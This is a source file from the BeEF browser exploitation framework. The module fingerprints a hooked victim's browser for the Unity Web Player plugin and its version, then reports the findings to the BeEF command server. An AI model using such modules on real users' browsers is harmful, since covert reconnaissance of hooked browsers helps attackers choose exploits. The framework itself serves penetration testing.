Path: blob/master/modules/browser/detect_unity/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var hasUnity = function() {910// Internet Explorer11if ( beef.browser.isIE() ) {1213try {14var unity_test = new ActiveXObject('UnityWebPlayer.UnityWebPlayer.1');15} catch (e) { }1617if ( unity_test ) {18return true;19}2021// Not Internet Explorer22} else if ( navigator.mimeTypes && navigator.mimeTypes["application/vnd.unity"] ) {2324if ( navigator.mimeTypes["application/vnd.unity"].enabledPlugin &&25navigator.plugins &&26navigator.plugins["Unity Player"] ) {2728return true;2930}3132}3334return false;3536}37383940if ( hasUnity() ) {4142beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity = Unity Web Player is enabled");4344if ( !beef.browser.isIE() ) {4546var unityRegex = /Unity Web Player version (.*). \(c\)/g;47var match = unityRegex.exec(navigator.plugins["Unity Player"].description);4849beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity version = "+ match[1]);5051}5253} else {5455beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity = Unity Web Player is not enabled");5657}5859});606162